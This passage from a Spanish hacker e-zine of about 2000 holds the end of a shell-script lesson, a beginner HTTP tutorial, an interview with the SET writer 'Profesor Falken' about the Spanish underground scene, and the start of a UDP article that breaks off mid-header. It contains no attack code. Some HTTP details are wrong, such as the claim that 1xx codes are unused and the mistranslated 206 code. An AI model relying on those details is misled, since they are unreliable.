do
read INTR
done
stty echo # Restaura la visualizacion de la entrada
# de usuario.
exit 0
---/ block.sh /---
Bueno hasta aqui el curso de UNIX de 7a69.... espero que ahora sepais como
moveros por un UNIX :-)
NOTA: La programacion de scripts es mas amplia, por lo que es posible que se
le dedique algun articulo, estad atentos....
*EOF*
/----------------------------------------------------------------------------\
|-[ 07 ]----[ Protocolo HTTP ]----[ Medio ]----------------------------------|
\------------------------------------------------------------------[ Tahum ]-/
HTTP
====
Por Tahum , julio 2000
----------------------
< Tahum@phreaker.net >
Indice:
o Prefacio ..............................1
o Introduccion ..........................2
o Versiones .............................3
o Funcionamiento del HTTP ...............4
o Especificacion del protocolo ..........5
o URI ...................................6
o Cabeceras .............................7
o Solicitudes ...........................8
o Respuestas ............................9
o Metodos ..............................10
o Codigos ..............................11
o Longitud del mensaje .................12
o Negociacion ..........................13
o Despedida ............................14
- Prefacio - 1 -
================
En este articulo explicare el funcionamiento del protocolo HTTP, protocolo
que considero esencial su conocimiento, pues es el responsable del 'boom'
de Internet en estos ultimos a~os.
Obviamente este documento esta basado en otros documentos, los cuales
podreis encontrar en el apendice, y sobre los cuales recomiendo
encarecidamente su lectura.
Muchos estareis pensando que para que escribir sobre algo de lo que otros
ya lo han hecho, mejor que como yo lo hare aqui. Los documentos con los que
aprendi http son algo aridos, y si se es un novato pero aun asi se tienen
ganas de profundizar en esto, hace falta un texto que cumple funciones
didacticas mas que de manual de referencia. Espero haber conseguido esto al
escribir este documento.
No se explica aqui el funcionamiento de shttp, sin embargo los que esteis
interesados en el y no conozcais http, conviene que os diga que funcionan
de manera semejante, teniendo shttp mas funciones para hacer nuestras
transmisiones mas seguras.
- Introduccion - 2 -
====================
Como ya todos sabreis (un capon para el que no) la popularidad de internet
se basa sobre todo en la WWW, o World Wide Web (Ahora repetir esto con un
mazapan en la boca), y la WWW se cimienta en un protocolo llamado HyperText
Transfer Protocol. Http para los amigos.
Este protocolo es un protocolo de nivel de aplicacion, usado para
intercambiar informacion Hipermedia dentro del a WWW.
Gracias a la Hipermedia no solo se permitia el enlace a otros documentos
html sino ahora tambien a sonidos, fotos... videos... el invento del siglo,
vaya.
Este protocolo fue inventado por Tim Berners-Lee, un se~or al que se le
ocurrio un buen dia que estaba en el laboratiro europeo de fisica de
particulas del CERN el crear este protocol para regocijo nuestro.
- Versiones - 3 -
=================
Veamos ahora las distintas versiones Http que ha habido y cuales han sido
sus cambios:
HTTP 0.9: Esta version tiene una finalidad bien sencilla, la de transmitir
datos de forma secuencial a traves de la red.
HTTP 1.0: En esta version se soportan ya los mensajes en formato MIME, y se
hace mas versatil. Sin embargo conserva la mala costumbre de
generar una conexion TCP distinta cada vez que tiene que descargar
una URL, por lo que se produce en los servidores una saturacion
del copon cada 2 x 3.
HTTP 1.1: Esta version es la mas reciente, y es bastante mas eficaz. Ahora
puedes conocer las capacidades de los ordenadores que estan
implicados en una comunicacion HTTP, ademas que permite el tener
un servidor con varias Ip's, permita las conexiones persistentes
ahorrando recursos, etc. Aqui una misma conexion puede albergar
en si VARIAS peticiones y respuestas, con las siguientes ventajas:
o Se ahorra tiempo de CPU.
o Se ahorra memoria.
o Se ahorra tiempo ya que los paquetitos pesan menos.
o Las solicitudes y respuestas HTTP se pueden multiplexar, de
manera que un cliente puede hacer muchas solicitudes al servidor
y este responderle 1 sola vez de manera que no tenga que estar
esperando una respuesta por cada solicitud. Esto hace que se
ahorre tiempo, cosa que ya he dicho antes.
o Se puede informar al cliente o al servidor de errores en la red
sin tener que cerrar la conexion.
o Se deja mas tranquilito al servidor al disminuir en gran
cantidad los paquetes TCP que por el viajan.
- Funcionamiento del HTTP - 4 -
===============================
Este protocolo funciona (salvo algunos casos) sobre los protocolos TCP/IP,
y las conexiones se realizan por el puerto 80, si es que el admin no lo ha
cambiado. Si lo ves cambiado puede ser por razones de seguridad (no quieren
tener ese puerto abierto a la vista de todos), por que varios servidores
cada uno con su propio puerto para obtener el mismo servicio, etc.
- Especificacion del protocolo - 5 -
====================================
Para indicarse las versiones del protocolo HTTP entre los ordenadores que
establecen una conexion, este utiliza un sistema de numeracion del tipo
<mayor> y <menor>, el en cual el emisor indica el formato del mensaje y su
capacidad para poder establecer prosperas comunicaciones HTTP sin problemas.
Por si no ha quededo claro lo del <mayor> y <menor>, decir que estas
etiquetas vienen a ser numeros. El numero menor se incrementa cuando los
cambios que se hacen al protocolo a~aden nuevas caracteristicas que no
cambian para nada el formato general del algoritmo que se utiliza para
analizar sintacticamente el mensaje, pero que si dota de mejoras adicionales
al emisor. Y el numero mayor se incrementa cuando el formato del mensaje
dentro del protocolo ha cambiado.
La version del mensaje HTTP se indica en el campo "HTTP-Version", en la
primera linea del mensaje. Si no se indica pues se da por hecho que es la
version 1.0. Si se especificara la version tendria un aspecto como este:
HTTP-Version: HTTP/1.1
Aqui se pone la version 1.1 pero podria ser otra.
Ahora veamos que pasaria en una comunicacion con dos versiones diferentes.
Si la version del emisor es superior, tendria que degradarse la version
hasta quedar como la del receptor, para que este pueda interpretarlo.
Si en lugar de esto el emisor tiene una version inferior, pues no pasaria
na de na porque el receptor al tener una version superior es capaz de
interpretar el mensaje.
- URI - 6 -
===========
URI son las siglas de Uniform Resource Identifiers, o lo que es lo mismo
identificador uniforme de recursos. Seguramente muchos de vosotros estais
acostumbrados a oir hablar de URL's, pero no de URI's, pues sabed que son
digamos sinonimos (esto realmente no es asi, que nadie me mate!) y que lo
que viene a significar URL es Localizador Uniforme de recursos. Podeis decir
URI o URL, segun os venga en gana.
Una Url es una cadena de texto con un formato determinado que identifica
un recurso dentro de una red. Este contiene la siguiente informacion:
o Nombre del recurso.
o Protocolo que hay que utilizar para encontrarlo.
o Lugar donde se encuentra.
Y tendria una forma como la siguiente:
servicio://host:puerto/camino?lugar_que_keremos_buscar
Donde pone servicio pues poneis Http, Ftp, Telnet, File... y los puertos
por defecto supongo que los sabreis... sino mal vamos. Sin embargo por si
hubiera algun despistado leyendo esto lo dire:
Http : 80
Ftp : 21
Telnet : 23
Estos son los puertos *POR DEFECTO*, lo que significa que en algunas
maquinas estos pueden cambiar, aunque no es muy normal ver una maquina que
asigne a un servicio su puerto predeterminado.
Si no poneis el puerto seguido del host pues se escoge el puerto por
defecto, y depende la aplicacion que usemos si no especificamos el servicio
pues coge el puerto de ese servicio. Me explico, si utilizamos el telnet
cogera el 23, el cliente de ftp el 21, y el navegador el 80, si no le
especificais lo contrario.
Sobre la longitud que deben tener estas es recomendable limitarlo a 255, de
lo contrario se nos podria contestar con un error de codigo 414. Sin embargo
no hay un limite establecido.
- Cabeceras - 7 -
=================
Las cabeceras de mensaje pueden ser de 4 tipos diferentes:
1.- Cabeceras generales.
2.- Cabeceras de solicitudes.
3.- Cabeceras de respuestas.
4.- Cabeceras de entidades.
El orden en el que se reciben no tiene ninguna importancia, pero por
costumbre se ponen primero los campos de las cabeceras generales, despues
los de las cabeceras de solicitud, despues los de las cabeceras de
respuestas y por ultimo los campos de las cabeceras de entidad.
A continuacion os pongo una tabla sobre los identificadores de las
cabeceras y su valor y descripcion:
CABECERAS GENERALES
-------------------
Identificador = Valor Descripcion
--------------------------- ------------------------------------------------
Date = Fecha Utiliza el formato estandar de fecha.
MIME-version = version Especifica la version MIME de las cabeceras.
Pragma = directiva Especifica una directiva concreta de la
implementacion Pragma.
CABECERAS DE PETICION
---------------------
Identificador = Valor Descripcion
--------------------------- ------------------------------------------------
Accept = tipos Permite describir que tipos de datos se aceptan
como respuesta.
Accept-Charset = tipo Permite describir que tipos de caracteres se
aceptan en la respuesta.
Accept-Encoding = tipo Permite restringir los valores de codificacion.
Accept-Lenguage = leng. Permite definir en que lenguaje se desea obtener
la respuesta.
Authorization = cred. Incluye la informacion de identificacion del
cliente para acceder a recursos compartidos. Lo
que se llama credenciales.
From = id. De correo Identifica cual es el origen del mensaje.
Host = host:puerto Identifica el host y al puerto donde se
encuentra el recurso.
If-modified-Since = fecha Se utiliza para que el comando GET sea
condicional.
if-match = condicion Este permite el establecer una condicion.
if-none-match = condicion Permite establecer una condicion negada.
if-Range = condicion Permite recuperar parte de una entidad si se
cumple la condicion.
if-Unmodified-Since = fecha Este se utiliza para que el servidor ejecute la
accion si el recurso no ha sido modificado desde
la fecha indicada.
Max-Forwards = numero Se utiliza con el metodo TRACE para limitar el
numero maximo de proxys o gateways que pueden
reenviar el mensaje.
Referer = URL La identidad del elemento de donde se obtuvo el
enlace.
User Agent = producto Identifica al software del cliente.
CABECERAS DE RESPUESTA
----------------------
Identificador = Valor Descripcion
--------------------------- ------------------------------------------------
Age = tiempo El tiempo estimado desde que la respuesta fue
generada.
Location = URL Localizacion preferida del servidor para este
elemento.
Proxy-Authenticate Este campo tiene que ser incluido cuando se
envia un codigo de error 407 (ver seccion
codigos)
Public = lista_de_metodos Lista todos los metodos soportados por el
servidor.
Retry-After = tiempo Indica el tiempo estimado que el servicio no va
a estar operativo.
Server = producto Identifica el software del servidor.
Vary = tipo Indica que la entidad de respuesta fue
seleccionada entre las diferentes respuestas
disponibles.
Warning = information Los datos que identifican al sistema de
autentificacion y acuerda con el cliente que se
autentifique el mismo.
CABECERAS DE ENTIDAD
--------------------
Identificador = Valor Descripcion
--------------------------- ------------------------------------------------
Allow = metodo Lista de metodos que admite un recurso.
Content-encoding = tipo Si se utiliza codificacion indica el algoritmo
utilizado.
Content-Language = leng Describe el lenguaje natural de la informacion.
Content-location = URI Identifica el lugar del recurso que viaja en el
mensaje.
Content-lenght = tama~o Tama~o del cuerpo a transferir.
Content-MD5 = md5 Proporciona deteccion de la alteracion del
mensaje.
Content-range = bytes Se inserta en los mensajes cuendo estos se
trocean para indicar que posicion ocupan en el
mensaje original.
Content-type = tipo Tipos que establece la IANA.
Etag = etiqueta Define la etiqueta de la entidad.
Expires = fecha Fecha en la que el elemento expirara, no valdra.
Last-modified = fecha Ultima vez que se modifico elelemento.
- Solicitudes - 8 -
===================
Las solicitudes son los mensajes que circulan desde el cliente hasta el
servidor. Estas solicitudes pueden ser simples o completas. Una solicitud
simple consta de un metodo y un URI (Identificador Uniforme de Recursos)
Una solicitud completa consta de una linea de solicitud seguida de una serie
de cabeceras, a continuacion una linea en blanco y posteriormente el cuerpo
del mensaje.
La URI solicitada identifica al elemento sobre el cual se hace la solicitud.
Dependiendo de la solicitud URI puede venir dada mediante un camino relativo
o un camino absoluto.
Por si lo de camino relativo o absoluto no lo teneis muy claro dire que un
camino absoluto es cuando la solicitud no se hace directamente al servidor,
sino que se hace sobre un servidor proxy; el proxy sera el que mande la
solicitud al servidor y recogera luego la respuesta para darsela a la
maquina cliente.
- Respuestas - 9 -
==================
Las respuestas con los mensajes que viajan desde el servidor hasta el
ordenador cliente. Estas, como las peticiones, pueden ser simples o
completas. A las solicitudes simples les tocan respuestas simples y a las
solicitudes compuestas les tocan respuestas... (todos a coro) compueestaas!!
La primera linea de una respuesta completa es siempre su linea de estado, en
las que se encuentra la version del protocolo, seguida de un codigo de
estado y su frase asociada.
- Metodos - 10 -
================
Los metodos de mensaje son los siguientes:
- Delete: Solicita al servidor que elimina la entidad indicada por la URI.
Lo malo de esto es que el cliente no sabe si se ha llevado con
exito la operacion o no, incluso si le llega un codigo que
comience por 2.
- Get: Descarga un elemento. Este permite recuperar del servidor cualquier
informacion identificada por el URI solicitada en un solo paso. Si el
URI hace referencia a un proceso generador de datos (un CGI), lo que
se recuperan son los datos y no el codigo fuente del proceso.
- Head : Solicita ver las cabeceras que se enviarian con un elemento
concreto. Es decir, es como el metodo GET, pero a este el servidor
no le envia el cuerpo (ni el alma!) sino que solo le envia la
informacion situada en las cabeceras HTTP.
- Options: Permite al cliente consultar que metodos hay asociados a un
recurso. Es una simple solicitud de informacion sobre las
opciones de comunicacion disponibles para el recurso apuntado por
un URI. De esta manera el cliente puede determinar las
posibilidades que tiene el servidor o las opciones asociadas a un
recurso determinado.
- Post: Envia un elemento al servidor. Se utiliza para decirle al servidor
que acepte la informacion que se envia adjunto el mensake. Esto se
utiliza normalmente en las listas de distribucion, grupos de
noticias, en los formularios, etc.
- Put: Solicita colocar la informacion enviada en la URI identificada. Si la
informacion que se le envia ya existe se considera una actualizacion
de recurso. Si el URI hace referencia a un recurso existente, y esta
tiene la posibilidad de ser definida como un nuevo recurso, el
servidor sera el que se encargue de crear este recurso.
- Trace: Permite obtener una replica del mensaje enviado, de esta forma el
cliente sabe con certeza que recibio el servidor. Si se ha recibido
bien pues enviara un mensaje con un codigo que empiece por 2.
- Codigos - 11 -
================
Veamos ahora que tipos de codigos hay en el protocolo HTTP y para que
sirven. De estos codigos vereis todos son de 3 digitos, de los cuales
SOLO el primero tiene un significado especial, identificativo.
Los tipos de codigos se catalogan dependiendo de su primer digito, este es
el digito identificativo que mas arriba decia. Y aqui esta su descripcion:
Codigo Descripcion
------ ---------------------------------------------------------------------
1tt Este no se utiliza, se reserva para futuras necesidades.
2tt Este viene a decir que la accion fue recibida y aceptada.
3tt Redireccion, se necesita una accion adicional para llevar a cabo la
solicitud.
4tt Error del cliente, la solicitud contiene una sintaxis erronea o no
se puede conceder porque la ruta es inexistente... etc.
5tt Error del servidor con una peticion aparentemente correcta.
(donde la t seria un digito en base decimal)
Ahora veamos los valores individuales de los tipos de codigo. En la
descripcion pondre la frase en ingles y en espa~ol.
Codigo Descripcion
------ ---------------------------------------------------------------------
200 Ok = Todo correcto.
201 Created = Creado.
202 Accepted = Aceptado.
204 No content = No hay contenido.
205 Reset content = Reiniciar contenido.
206 Partial content = Reiniciar contenido.
300 Multiple choices = Opciones multiples.
301 Moved permanently = Cambiado permanentemente.
302 Moved Temporality = Cambiado temporalmente.
304 Not modified = No modificado.
305 User proxy = Utilizar proxy.
400 Bad request = Solicitud erronea.
401 Unauthorized = No autorizado.
402 Payment require = Se requiere pago.
403 Forbidden = Prohibido.
404 Not found = No encontrado.
405 Method nor allowed = Metodo no permitido.
406 Not acceptable = No aceptable.
407 Proxy aythentification required = Se requiere autentificacion de proxy.
409 Conflict = Conflicto.
411 Lenght require = Se requiere longitud.
413 Request entity too large = Entidad solicitada es demasiado grande.
414 Request URI too large = URI solicitada es demasiado grande.
500 Internal server error = Error interno del servidor.
501 Not implemented = No implementado.
502 Bad Gateway = Gateway erroneo.
503 Service Unavaliable = Servicio no disponible.
- Longitud del mensaje - 12 -
=============================
La longitud de los mensajes en HTTP viene marcada por los siguientes puntos
(en caso de que el cuerpo del mensaje se incluya en el mismo mensaje):
- Si el campo transfer-encoding aparece en la cabecera del mensaje e indica
que al mensaje se le ha aplicado el metodo "chunked", la longitud viene
determinada por la codificacion utilizada.
- Si aparece el campo de la cabecera Content-lenght (longitud del
contenido), su valor en bytes representa la longitud del mensaje.
- Si el mensaje es de tipo multipart (el cual se delimita a si mismo),
entonces esa delimitacion define el tama~o.
- Cualquier mensaje de respuesta que no incluye un cuerpo de mensaje se da
por finalizado cuando aparece la primera linea en blanco.
- Debido a que el servidor cierra la conexion y el mensaje se queda a
medias.
- Negociacion - 13 -
====================
Cualquier servidor que trabaje con la version 1.1 de HTTP asume que un
cliente tiene la intencion de realizar una conexion persistente, a no ser
que en la cabecera del mensaje de solicitud se encuentre el parametro close,
claro.
El cliente puede esperar a que una conexion permanezca abierta, pero la
decision final la tomara el servidor al fin y al cabo, ya que si el envia el
parametro close al cliente la conexion a tomar por culo.
En HTTP 1.1 las conexiones permanentes se asumen por defecto, a no ser que
se le especifique lo contrario enviandole el parametro close en la cabecera
del mensaje como creo que ya dije antes.
- Despedida - 14 -
==================
Espero que este texto os haya servido para aprender mas sobre el http. Si
teneis alguna sugerencia/comentario/critica *constructiva*, podeis mandarla
a Tahum(at)phreaker(dot)net
This is all for now.
Tahum, 2000.
*EOF*
/----------------------------------------------------------------------------\
|-[ 07 ]----[ Charlando con: "El profesor ]----[ Medio ]---------------------|
|-----------[ Falken". ]----------------------------------|
\-------------------------------------------------------------------[ Ripe ]-/
Bueno, tras la ausencia de esta seccion en el anterior numero de 7a69 hemos
decidido retomarla, y con todo un veterano (dentro de lo que cabe) en el
mundo del underground.
Nuestro invitado de hoy se estreno como colavorador de SET (Saqueadores
Edicion Tecnica), el 10 de Marzo del 1997, con la primera entrega de un gran
articulo "Red telefonica conmutada". Han pasado ya muchas cosas desde ese
numero 8 de SET (un ejemplo de ello son los problemas que algunos de los
colavoradores de Saqueadores pasaron poco despues de publicarse SET#8... Gran
hazaña por su parte de Paseante, que publico el solo el numero 9 de este
ezine), y Profesor Falken ha sido editor de SET (puesto que actualmente ocupa
GreenLegend al que aprovechamos para mandar un saludo) y ha publicado mas
articulos dedicados a las nuevas tecnologias.
Bueno, dejemos que sea el quien nos cuente quien es :-)
PROFESOR
___________ .__ __
\_ _____/____ | | | | __ ____ ____
| __) \__ \ | | | |/ // __ \ / \
| \ / __ \| |_| <\ ___/| | \
\___ / (____ /____/__|_ \\___ >___| /
\/ \/ \/ \/ \/
1.- Por que "Profesor"? Y porque "Falken"? Cuentanos un poco el origen de
tu nick...
Son dos cosas que van unidas. No es ningun secreto que esta
basado en uno de los personajes de aquella fantastica pelica
de 1983 llamada "Juegos de guerra" (WarGames). Esta pelicula
nos mostraba una de las imagenes mas realistas del hack que se
ha visto hasta ahora en el cine.
Para los que no lo recordeis muy bien, el profesor Falken era
un investigador de inteligencia artificial que creo una
maquina capaz de aprender por si misma, aprovechando los
errores de sus decisiones. Esta maquina, llamada WOPR (alguna
indirecta hacia cierta hamburguesa de cierta compañia?), su
conecto al sistema de defensa norteamericano para que
controlase la defensa en caso de un ataque sovietico,
aprovechando su capacidad de aprendizaje. Por cuestiones de
mala suerte, un muchacho llamado David Lightman puso en
funcionamiento una simulacion en la WOPR, creyendo que se
trataba del ultimo juego de la casa Protovision. Finalmente
todo se soluciona con la colaboracionde Falken y Lightman,
terminando con una bonita frase moral en la que se nos recuerda
que en la guerra nunca hay ganadores.
Decidi utilizar ese ese nombre, el del profesor Stephen Falken,
porque no esta muy bien visto en el ambiente underground que
vayas por ahi diciendo tu nombre de verdad, y ya de paso, pues
era un tio que me caia bastante bien. ;-P
2.- Quien es El Profesor Falken?
Creo que lo he dejado claro ahi arriba, no? El tipo ese que
creo la WOPR.
Bueno, creo que te refieres a mi, asi que a ver que te cuento.
Para mi Falken no es mas que un personaje que encarno cada vez
que tengo que realizar un articulo para SET. No lo tengo
asumido como una personalidad concreta, ni nada por el estilo.
Es simplemente un nombre como otro cualquiera.
En esta 'profesion' de hacker hay gente que tiene muy asumido
lo que significa su nick en concreto, y hay gente que cambia de
nick mas que de calzoncillos. Para mi es simplemente una forma
de asignar un autor a algo de forma que parece que coge mas
consistencia, y que por cualquier circunstancia no te apetece
utilizar tu nombre de verdad. Puede ser porque sea peligroso, o
puede que simplemente sea una licencia literaria.
Ademas, cuantos Falken hay por la red? La verdad que da lo mismo
como te llames, o como te hagas llamar. Lo importante deberia
ser lo que haces y como lo haces, no quien eres en realidad.
3.- A que te dedicas profesionalmente?
Soy Freelance.
4.- En que te diviertes? que haces en tus ratos libres?
Por ahora descansar, que no he parado en los ultimos meses.
Pero cuando tengo tiempo libre, y no me encuentro rendido, me
gusta practicar deporte. Es una de esas cosas que veo escasas
en el ambiente under, y es verdaderamente una pena, pues
incluso hasta podriamos montar una liga entre los miembros del
under hispano. Es broma.
<Ripe: ¡Dish! hehehe.....>
En serio, me gusta practicar deporte de vez en cuando. Siempre
que tengo un hueco me voy a jugar al baloncesto con los
amigos, a dar una vuelta con la bici o a echarme unas carreras
con los patines.
Y ahora que tengo una canchita de voley playa cerca de mi casa,
me acerco de vez en cuando por alli a jugar con los mismos
amigos de antes. De hecho hasta tengo un pequeno gimnasio
montado en mi casa.
Aparte del deporte, pues me gusta escribir, programar, leer
(textos tecnicos o cientificos; despues de leer varias novelas
cuando era crio me parece que todas acaban reduciendose a los
mismos argumentos), la electronica, la musica (hice mis pinitos
hace algun tiempo, pero me falto constancia), la fisica, y
cualquier cosa que tenga que ver con el conocimiento y la
diversion.
Sin embargo no soy de los que le guste salir por ahi de copas
con los amigos. Mas que nada porque no bebo, y no me parece
divertido estar por ahi un fin de semana buscando
exclusivamente la borrachera.
5.- De donde proviene tu aficion por el telefono y toda la tecnologia
que le rodea?
En realidad no es solo por la telefonia. Me gusta conocer de
todo un poco, y el campo de las nuevas tecnologias es
fascinante por todo lo que se puede aprender.
El tema de la telefonia, y de aquellos articulos fue mas que
nada porque hasta entonces no se habia publicado gran cosa
sobre la red telefonica de Espana ni la red de telefonia
movil. De hecho me sorprendi varias veces al encontrarme
textos que supuestamente hablaban de la telefonia movil
espanola, y que no se acercaban ni por asomo a lo que es el
TMA-900A, tal vez por ser un claro plagio de algun texto
extranjero.
Aun me sigue interesando la telefonia, pero desde luego que
tambien me estoy dedicando a otras cosas como Linux.
Reconozco que a Linux llegue mas tarde que mucha gente, pero
tengo la experiencia de un viejo Ultrix que era una maravilla,
aunque lleno de fallos, pero una maravilla.
En si esta aficion no es mas que mera curiosidad por el
conocimiento.
6.- Que proyectos tienes en mente?
Practicamente ninguno relacionado con lo que tradicionalmente
se llama under. Son historias raras de investigacion en ciertos
campos de la fisica.
7.- Que te gustaria llegar a ser?
En el campo personal me gusta como soy. He aprendido a
convivir con mis defectos, y mis virtudes, y me gusta.
En lo profesional, me conformo con ser libre, independiente.
No me gusta estar bajo el yugo de una empresa que me exige
realizar una tarea de una forma especifica exclusivamente por
argumentos de marketing.
8.- Que opinas de las scenes españolas (h/p/c/v), y de la gran
cantidad de "peña Undergr0und" que esta apareciendo ultimamente?
Que futuro le ves?
Siempre es bueno que aparezca gente nueva en cualquier sitio,
y la escene under espanola no va a ser menos. Lo que pasa es
que en Espana se estan dando varios fenomenos de forma
simultanea.
Por un lado, frente a la cantidad de gente nueva, los veteranos
de verdad estan desapareciendo. Vamos, lo digo por toda aquella
gente de principios y mediados de los ochenta que habia en la
escena espanola y que hoy en dia es como si no hubiesen estado.
Y no me refiero precisamente a gente que vaya contanto los años
que lleva en el under (os habeis fijado que cualquier
publicacion nueva que sale dice que comenzo en el 96?), si no a
gente que de verdad estuviese ahi.
Por otra parte, una gran cantidad de la gente que esta
apareciendo ahora es gente que lo unico que busca es sacar un
provecho personal. Puede que sea obtener programas gratuitos, o
poder llamar por telefono gratis, pero en definitiva sacar un
provecho generalmente ilicito, lo que parece hacerles sentir
superiores.
Afortunadamente de entre toda esa gente estan surgiendo grandes
mentes que pueden aportar su pequeno o gran granito de arena a
toda la comunidad.
El verdadero problema surge frente al termino hacker. Aun hay
demasiada gente en España que cree que los hackers son un grupo
de gente que se dedica exclusivamente a sacar provecho
realizando actividades ilicitas mas propias en muchos casos del
crimen organizado o del vandalismo de lo que muchos se pudieran
creer. Y lo peor es que son muchos de los que estan dentro los
que se han creido esta definicion.
No es plan de volver a crear una polemica sobre el autentico
significado de los hackers. Cada uno tiene su opinion, aunque
me parece una pena que por culpa de cuatro aprovechados se
pierda el autentico significado de un termino que ha sobrevivido
los palos recibidos desde los años sesenta.
9.- Como colaborador de SET; como ves el hecho de que aparezcan tantos
ezines undergr0und?
Por una parte esta bien ver que cada vez hay mas iniciativas,
lo que permite que se pueda avanzar un poquito mas.
Pero no voy a negar que preferiria que en muchos casos, esta
gente que tiene tanto interes en lugar de sacar una nueva ezine,
decidiera participar en alguno de los proyectos ya existentes.
Esto nos permitiria a todos realizar mas cosas en menos tiempo,
y poder compartir mas informacion entre todos, y facilitar el
aprendizaje de nuevas cosas gracias a la cooperacion.
10.- Que recomendaciones darias a los "nuevos" ezines?
Si les gusta lo que hacen , que tengan constancia. Hay
ocasiones en las que se puede pasar por una mala racha, pero no
por ello hay que rendirse. Tal vez ese sea el secreto de que
SET siga adelante despues de tanto tiempo. O tal vez sea porque
los que estamos ahi somos un poco cabezotas. ;-P
<Ripe: Nosotros trataremos de seguir el
consejo... ser cabezotas :)>
11.- Para cuando SET#23? (es que nos estais haciendo esperar :P)
Deberia estar lista para cuando leas esto, aunque ya sabemos
todos como funcionan estast cosas. Ademas, que seria de SET
si no hubiese retrasos.
<Ripe: Te puedo asegurar que SET#23 no estaba
lista, ni mucho menos, cuando lei esto :P
pero bueno, finalmente salio :) si
alguno de nuestros lectores quiere leer
SET#23 o cualquier numero de SET, debe
dirigirse a http://www.set-ezine.org.>
12.- Como cres que va internet en españa? (intelne va bien ¿no?)
Fatal, es un veguenza.
Desde los medios se nos hace creer que nuestra situacion es
similar a la de otros paises desarrollados. Sinceramente creo
que a alguien se le debio olvidar poner el sub delante.
Es una verguenza que en un pais que pretende ser evolucionado,
tecnologicamente avanzado, el acceso a las redes de datos sea
aun un lujo bastante caro. Por un lado el acceso telefonico es
penoso. No solo por lo lento, sino por lo caro, pues debemos
recordar que en otros paises ya se contabilizan las llamadas
metropolitanas como gratuitas.
En el caso de otros tipos de acceso, cada vez va a peor. Este es
sin duda el pais del engano. Porque, por ejemplo, por que no se
ha permitido a los usuarios acceder a la RDSI hace 10 anos,
cuando Telefonica lo anuncio por primera vez, y cuando aun era
algo decente? Hoy en dia un acceso basico es una verguenza para
alguien que quiera trabajar con redes de datos.
Con la moda de hacerse los modernos, ahora tratan de vendernos
la moto del cable y del ADSL. Por un lado lo del cable lo venden
solo como television (como si eso fuera una novedad, fijate en
USA), y para colmo en muchos casos limitan el ratio de download
en el acceso a redes a cifras tan absurdas como los 500 Megas por
mes. Asi que si alguien con cable quiere bajarse la ultima distro
de Linux, por ejemplo, debera hacerlo a fin de mes para poder
terminar al menos el primer CD.
<Ripe: Este ultimo punto es especialmente
penoso.>
En cuanto al ADSL, pues la mitad de las centrales de las
grandes ciudades aun no lo soportan. Las tarifas tratan de ser
mas economicas, pero siguen tratando de imponer unas cuotas
maximas de download con lo que siguen limitando el acceso a las
redes de datos. Ah! Y encima ni siquiera suelen avisar de que el
upload es leeeento, para que el pobre pardillo se deje sus
ilusiones cuando quiera subir algo a algun site.
Ademas de esto, deberia mencionar el acceso por satelite y por
packet. Pero parece que eso aqui es cosa de brujos, pues para
satelite te piden de todo, y por packet la mayoria sigue pensando
que lo maximo son lo 9600 bps, cuando en realidad hay tecnologias
que permiten alcanzar los 40 Gbps.
Por si fuera poco, La representacion espanola en Internet es
escasa y pobre. La mayor parte de los sistios espanoles se
dedican a recargar sus paginas web de forma incontrolada,
logrando que para mirar una triste informacion de unos pocos
bytes, tengas que bajarte una preciosa introduccion en flash que
ocupa sus buenos cientos de Kbytes. Vamos, como si el acceso
fuera rapido y barato, verdad?
Encima, la mayor parte de estos sitios ignoran otros servicios
mas alla de la web, y tal vez el correo electronico.
Pero bueno, otra verguenza nacional es el registro de dominios.
Las limitaciones que se imponen a la hora de registrar un .es y
las tarifas son ridiculas. Y que la ultima modificacion de las
normas se haga por un capricho del presidente del gobierno, y solo
para cubrir sus exigencias me parece incluso dictatorial. Con el
juego que se le podria dar al .es, y lo que podria ganar es-NIC
ampliando las posibilidades de registro. Pero bueno, esto es
Espana, y aqui las cosas son *MUY* diferentes.
Podria seguir escribiendo de este tema mucho tiempo, pero bueno
creo que ya conocemos todos de sobra cual es la situacion actual
del pais en el campo de las nuevas tecnologias.
13.- Completa la frase "Si tuviera suficiente poder...."
Lo usaria para aprender como utilizarlo de la mejor forma
posible.
14.- Manda un mensaje al aire para todos los que estan leyendo esto...
Creed en vosotros mismos, y no le sigais el juego a nadie, por
mucho prestigio que parezca tener. Generalmente estara trantando
de aprovecharse de vosotros.
15.- Y para terminar.... manda un par de saludos :P
Saludos, saludos... ;->
Fin de la entrevista. Para el proximo numero trataremos de tener con nosotros
a Wintermute, un mas que intresante creador virus. ¡Hasta entonces!
*EOF*
/----------------------------------------------------------------------------\
|-[ 08 ]----[ Entrañas de internet; Protocolos y demas ]----[ Alto ]---------|
\-------------------------------------------------------------------[ Ripe ]-/
Vimos en el numero 8 de 7a69 como trabaja el protocolo IP, tambien dijimos
que IP no garantiza en ningun caso una entrega fiable del mensaje, de eso
se debe encargar otro protocolo.
Empezaremos explicando el funcionamiento de UDP, un protocolo que se
encarga de entregar el mensaje a la aplicacion adecuada en el host de
destino (al igual que el protocolo TCP que veremos mas adelante).
UDP (User Datagrama Protocol) permite a un host mandar mensajes
individuales, sin establecer conexion alguna. No ofrece ningun tipo de
control, por lo que no garantiza una entrega fiable de los datos,
y es responsabilidad de la aplicacion encargarse de ello. ¿Para
que puede servir UDP? El establecimiento de una conexion requiere un
intercambio de datos entre los dos hosts que la van a establecer, ello
conlleva una sobrecarga inutil a la red si lo que queremos es, por
ejemplo, solicitar simplemente la hora local de un host.
¿Como entrega UDP el paquete recibido a la aplicacion adecuada? Facil,
mediante un numero de identificacion (supongo que a todos os sonara el
nombre de "puerto"). Cada aplicacion estara a la escucha de un puerto de
manera que el host de origen podra indicar a que aplicacion va dirigido el
paquete mediante el campo "puerto de destino" de la cabecera UDP, cabecera
que veremos mas adelante. Los numeros de puertos del 0 al 1023 estan
reservados, y a cada uno se le asocia un servicio (la organizacion que se
encarga de estandarizar este tipo de cosas es la Internet Assigned Numbers
Autority - IANA). Estos son algunos de los servicios estandarizados:
-------------------------------------------------------------------------------
echo 7/udp
discard 9/udp sink null
daytime 13/udp
msp 18/udp # message send protocol
chargen 19/udp ttytst source
fsp 21/udp fspd
ssh 22/udp # SSH Remote Login
Protocol
time 37/udp timserver
rlp 39/udp resource # resource location
re-mail-ck 50/udp # Remote Mail Checking
Protocol
domain 53/udp nameserver
bootps 67/udp
bootpc 68/udp
tftp 69/udp
-------------------------------------------------------------------------------
NOTA: Podeis ver el resto de los servicios con un simple "cat
/etc/services | grep /udp".
Bueno quiza ha llegado el momento de ver como esta contruida una cabecera
UDP.
*******************************[ Cabecera UDP ]*******************************
/-----------------------------------------------------------\
| Puerto de origen | Puerto de destino |
